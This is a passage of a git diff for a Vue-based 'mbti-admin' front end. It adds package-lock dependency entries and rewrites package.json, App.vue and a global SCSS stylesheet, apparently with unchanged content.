"peerDependencies": { + "typescript": ">=4.4.4", + "vue": "^2.7.0 || ^3.5.11" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/pkg-types": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-1.3.1.tgz", + "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.4", + "pathe": "^2.0.1" + } + }, + "node_modules/postcss": { + "version": "8.5.8", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.5.8.tgz", + "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, + "node_modules/quansync": { + "version": "0.2.11", + "resolved": "https://registry.npmmirror.com/quansync/-/quansync-0.2.11.tgz", + "integrity": "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/antfu" + }, + { + "type": "individual", + "url": "https://github.com/sponsors/sxzz" + } + ], + "license": "MIT" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.18.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/resize-detector": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/resize-detector/-/resize-detector-0.3.0.tgz", + "integrity": "sha512-R/tCuvuOHQ8o2boRP6vgx8hXCCy87H1eY9V5imBYeVNyNVpuL9ciReSccLj2gDcax9+2weXy3bc8Vv+NRXeEvQ==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.59.0", + "resolved": "https://registry.npmmirror.com/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/sass": { + "version": "1.98.0", + "resolved": "https://registry.npmmirror.com/sass/-/sass-1.98.0.tgz", + "integrity": "sha512-+4N/u9dZ4PrgzGgPlKnaaRQx64RO0JBKs9sDhQ2pLgN6JQZ25uPQZKQYaBJU48Kd5BxgXoJ4e09Dq7nMcOUW3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "chokidar": "^4.0.0", + "immutable": "^5.1.5", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "@parcel/watcher": "^2.4.1" + } + }, + "node_modules/scule": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/scule/-/scule-1.3.0.tgz", + "integrity": "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==", + "dev": true, + "license": "MIT" + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-literal": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/strip-literal/-/strip-literal-2.1.1.tgz", + "integrity": "sha512-631UJ6O00eNGfMiWG78ck80dfBab8X6IVFB51jZK5Icd7XAs60Z5y7QdSd/wGIklnWvRbUNloVzhOKKmutxQ6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "js-tokens": "^9.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tslib": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.3.0.tgz", + "integrity": "sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==", + "license": "0BSD" + }, + "node_modules/typescript": { + "version": "5.4.5", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-5.4.5.tgz", + "integrity": "sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/ufo": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/ufo/-/ufo-1.6.3.tgz", + "integrity": "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/unimport": { + "version": "3.14.6", + "resolved": "https://registry.npmmirror.com/unimport/-/unimport-3.14.6.tgz", + "integrity": "sha512-CYvbDaTT04Rh8bmD8jz3WPmHYZRG/NnvYVzwD6V1YAlvvKROlAeNDUBhkBGzNav2RKaeuXvlWYaa1V4Lfi/O0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^5.1.4", + "acorn": "^8.14.0", + "escape-string-regexp": "^5.0.0", + "estree-walker": "^3.0.3", + "fast-glob": "^3.3.3", + "local-pkg": "^1.0.0", + "magic-string": "^0.30.17", + "mlly": "^1.7.4", + "pathe": "^2.0.1", + "picomatch": "^4.0.2", + "pkg-types": "^1.3.0", + "scule": "^1.3.0", + "strip-literal": "^2.1.1", + "unplugin": "^1.16.1" + } + }, + "node_modules/unimport/node_modules/confbox": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.2.4.tgz", + "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/unimport/node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/unimport/node_modules/local-pkg": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-1.1.2.tgz", + "integrity": "sha512-arhlxbFRmoQHl33a0Zkle/YWlmNwoyt6QNZEIJcqNbdrsix5Lvc4HyyI3EnwxTYlZYc32EbYrQ8SzEZ7dqgg9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "mlly": "^1.7.4", + "pkg-types": "^2.3.0", + "quansync": "^0.2.11" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unimport/node_modules/local-pkg/node_modules/pkg-types": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-2.3.0.tgz", + "integrity": "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.2.2", + "exsolve": "^1.0.7", + "pathe": "^2.0.3" + } + }, + "node_modules/unplugin": { + "version": "1.16.1", + "resolved": "https://registry.npmmirror.com/unplugin/-/unplugin-1.16.1.tgz", + "integrity": "sha512-4/u/j4FrCKdi17jaxuJA0jClGxB1AvU2hw/IuayPc4ay1XGaJs/rbb4v5WKwAjNifjmXK9PIFyuPiaK8azyR9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.14.0", + "webpack-virtual-modules": "^0.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/unplugin-auto-import": { + "version": "0.17.8", + "resolved": "https://registry.npmmirror.com/unplugin-auto-import/-/unplugin-auto-import-0.17.8.tgz", + "integrity": "sha512-CHryj6HzJ+n4ASjzwHruD8arhbdl+UXvhuAIlHDs15Y/IMecG3wrf7FVg4pVH/DIysbq/n0phIjNHAjl7TG7Iw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/utils": "^0.7.10", + "@rollup/pluginutils": "^5.1.0", + "fast-glob": "^3.3.2", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.10", + "minimatch": "^9.0.4", + "unimport": "^3.7.2", + "unplugin": "^1.11.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@nuxt/kit": "^3.2.2", + "@vueuse/core": "*" + }, + "peerDependenciesMeta": { + "@nuxt/kit": { + "optional": true + }, + "@vueuse/core": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components": { + "version": "0.26.0", + "resolved": "https://registry.npmmirror.com/unplugin-vue-components/-/unplugin-vue-components-0.26.0.tgz", + "integrity": "sha512-s7IdPDlnOvPamjunVxw8kNgKNK8A5KM1YpK5j/p97jEKTjlPNrA0nZBiSfAKKlK1gWZuyWXlKL5dk3EDw874LQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/utils": "^0.7.6", + "@rollup/pluginutils": "^5.0.4", + "chokidar": "^3.5.3", + "debug": "^4.3.4", + "fast-glob": "^3.3.1", + "local-pkg": "^0.4.3", + "magic-string": "^0.30.3", + "minimatch": "^9.0.3", + "resolve": "^1.22.4", + "unplugin": "^1.4.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@babel/parser": "^7.15.8", + "@nuxt/kit": "^3.2.2", + "vue": "2 || 3" + }, + "peerDependenciesMeta": { + "@babel/parser": { + "optional": true + }, + "@nuxt/kit": { + "optional": true + } + } + }, + "node_modules/unplugin-vue-components/node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/unplugin-vue-components/node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/unplugin-vue-components/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/unplugin-vue-components/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmmirror.com/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vscode-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", + "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vue": { + "version": "3.5.30", + "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.30.tgz", + "integrity": "sha512-hTHLc6VNZyzzEH/l7PFGjpcTvUgiaPK5mdLkbjrTeWSRcEfxFrv56g/XckIYlE9ckuobsdwqd5mk2g1sBkMewg==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.30", + "@vue/compiler-sfc": "3.5.30", + "@vue/runtime-dom": "3.5.30", + "@vue/server-renderer": "3.5.30", + "@vue/shared": "3.5.30" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/vue-echarts": { + "version": "6.7.3", + "resolved": "https://registry.npmmirror.com/vue-echarts/-/vue-echarts-6.7.3.tgz", + "integrity": "sha512-vXLKpALFjbPphW9IfQPOVfb1KjGZ/f8qa/FZHi9lZIWzAnQC1DgnmEK3pJgEkyo6EP7UnX6Bv/V3Ke7p+qCNXA==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "resize-detector": "^0.3.0", + "vue-demi": "^0.13.11" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.5", + "@vue/runtime-core": "^3.0.0", + "echarts": "^5.4.1", + "vue": "^2.6.12 || ^3.1.1" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + }, + "@vue/runtime-core": { + "optional": true + } + } + }, + "node_modules/vue-echarts/node_modules/vue-demi": { + "version": "0.13.11", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.13.11.tgz", + "integrity": "sha512-IR8HoEEGM65YY3ZJYAjMlKygDQn25D5ajNFNoKh9RSDMQtlzCxtfQjdQgv9jjK+m3377SsJXY8ysq8kLCZL25A==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/vue-router": { + "version": "4.6.4", + "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", + "integrity": "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.4" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + "peerDependencies": { + "vue": "^3.5.0" + } + }, + "node_modules/vue-tsc": { + "version": "2.2.12", + "resolved": "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", + "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/typescript": "2.4.15", + "@vue/language-core": "2.2.12" + }, + "bin": { + "vue-tsc": "bin/vue-tsc.js" + }, + "peerDependencies": { + "typescript": ">=5.0.0" + } + }, + "node_modules/vue3-draggable-resizable": { + "version": "1.6.5", + "resolved": "https://registry.npmmirror.com/vue3-draggable-resizable/-/vue3-draggable-resizable-1.6.5.tgz", + "integrity": "sha512-31142E31fGNnq3HKqvmFLSsqIbhck7TyGuQWhUKrDw6DOcGAuRx4ddRjaxvT6fe7dgeKH53qAh+i0ZlWtPLl2g==", + "license": "MIT" + }, + "node_modules/webpack-virtual-modules": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/webpack-virtual-modules/-/webpack-virtual-modules-0.6.2.tgz", + "integrity": "sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/zrender": { + "version": "5.6.1", + "resolved": "https://registry.npmmirror.com/zrender/-/zrender-5.6.1.tgz", + "integrity": "sha512-OFXkDJKcrlx5su2XbzJvj/34Q3m6PvyCZkVPHGYpcCJ52ek4U/ymZyfuV1nKE23AyBJ51E/6Yr0mhZ7xGTO4ag==", + "license": "BSD-3-Clause", + "dependencies": { + "tslib": "2.3.0" + } + } + } +} diff --git a/admin/package.json b/admin/package.json index 07d1b01..19eda8f 100644 --- a/admin/package.json +++ b/admin/package.json @@ -1,34 +1,34 @@ -{ - "name": "mbti-admin", - "version": "1.0.0", - "private": true, - "type": "module", - "scripts": { - "dev": "vite", - "build": "vite build", - "preview": "vite preview", - "lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore" - }, - "dependencies": { - "@element-plus/icons-vue": "^2.3.1", - "axios": "^1.6.7", - "dayjs": "^1.11.10", - "echarts": "^5.6.0", - "element-plus": "^2.6.2", - "pinia": "^2.1.7", - "vue": "^3.4.21", - "vue-echarts": "^6.6.9", - "vue-router": "^4.3.0", - "vue3-draggable-resizable": "^1.6.5" - }, - "devDependencies": { - "@vitejs/plugin-vue": "^5.0.4", - "@vue/tsconfig": "^0.5.1", - "sass": "^1.71.1", - "typescript": "~5.4.0", - "unplugin-auto-import": "^0.17.5", - "unplugin-vue-components": "^0.26.0", - "vite": "^5.1.6", - "vue-tsc": "^2.0.6" - } -} +{ + "name": "mbti-admin", + "version": "1.0.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "preview": "vite preview", + "lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore" + }, + "dependencies": { + "@element-plus/icons-vue": "^2.3.1", + "axios": "^1.6.7", + "dayjs": "^1.11.10", + "echarts": "^5.6.0", + "element-plus": "^2.6.2", + "pinia": "^2.1.7", + "vue": "^3.4.21", + "vue-echarts": "^6.6.9", + "vue-router": "^4.3.0", + "vue3-draggable-resizable": "^1.6.5" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.0.4", + "@vue/tsconfig": "^0.5.1", + "sass": "^1.71.1", + "typescript": "~5.4.0", + "unplugin-auto-import": "^0.17.5", + "unplugin-vue-components": "^0.26.0", + "vite": "^5.1.6", + "vue-tsc": "^2.0.6" + } +} diff --git a/admin/src/App.vue b/admin/src/App.vue index 6d33e84..ea3e4c4 100644 --- a/admin/src/App.vue +++ b/admin/src/App.vue @@ -1,12 +1,12 @@ - - - - - - + + + + + + diff --git a/admin/src/assets/main.scss b/admin/src/assets/main.scss index 43f5d3f..78dabfe 100644 --- a/admin/src/assets/main.scss +++ b/admin/src/assets/main.scss @@ -1,107 +1,107 @@ -/* 全局样式 */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -html, -body, -#app { - height: 100%; - font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, - 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', - 'Noto Color Emoji'; -} - -/* 自定义滚动条 */ -::-webkit-scrollbar { - width: 8px; - height: 8px; -} - -::-webkit-scrollbar-track { - background: #f1f1f1; -} - -::-webkit-scrollbar-thumb { - background: #c1c1c1; - border-radius: 4px; -} - -::-webkit-scrollbar-thumb:hover { - background: #a8a8a8; -} - -/* Element Plus 自定义样式 */ -.el-card { - border-radius: 8px; -} - -.el-button { - border-radius: 6px; -} - -/* 页面容器 */ -.page-container { - padding: 20px; -} - -.page-header { - margin-bottom: 20px; - - h2 { - font-size: 24px; - font-weight: 600; - color: #303133; - } - - p { - margin-top: 8px; - font-size: 14px; - color: #909399; - } -} - -/* 统计卡片 */ -.stat-card { - padding: 24px; - border-radius: 12px; - background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); - color: white; - - &.blue { - background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); - } - - &.green { - background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%); - } - - &.orange { - background: linear-gradient(135deg, #fa709a 0%, #fee140 100%); - } - - &.purple { - background: linear-gradient(135deg, #30cfd0 0%, #330867 100%); - } - - .stat-value { - font-size: 32px; - font-weight: bold; - margin: 12px 0; - } - - .stat-label { - font-size: 14px; - opacity: 0.9; - } -} - -/* 响应式 */ -@media (max-width: 768px) { - .page-container { - padding: 16px; - } -} - +/* 全局样式 */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +html, +body, +#app { + height: 100%; + font-family: -apple-system, BlinkMacSystemFont, 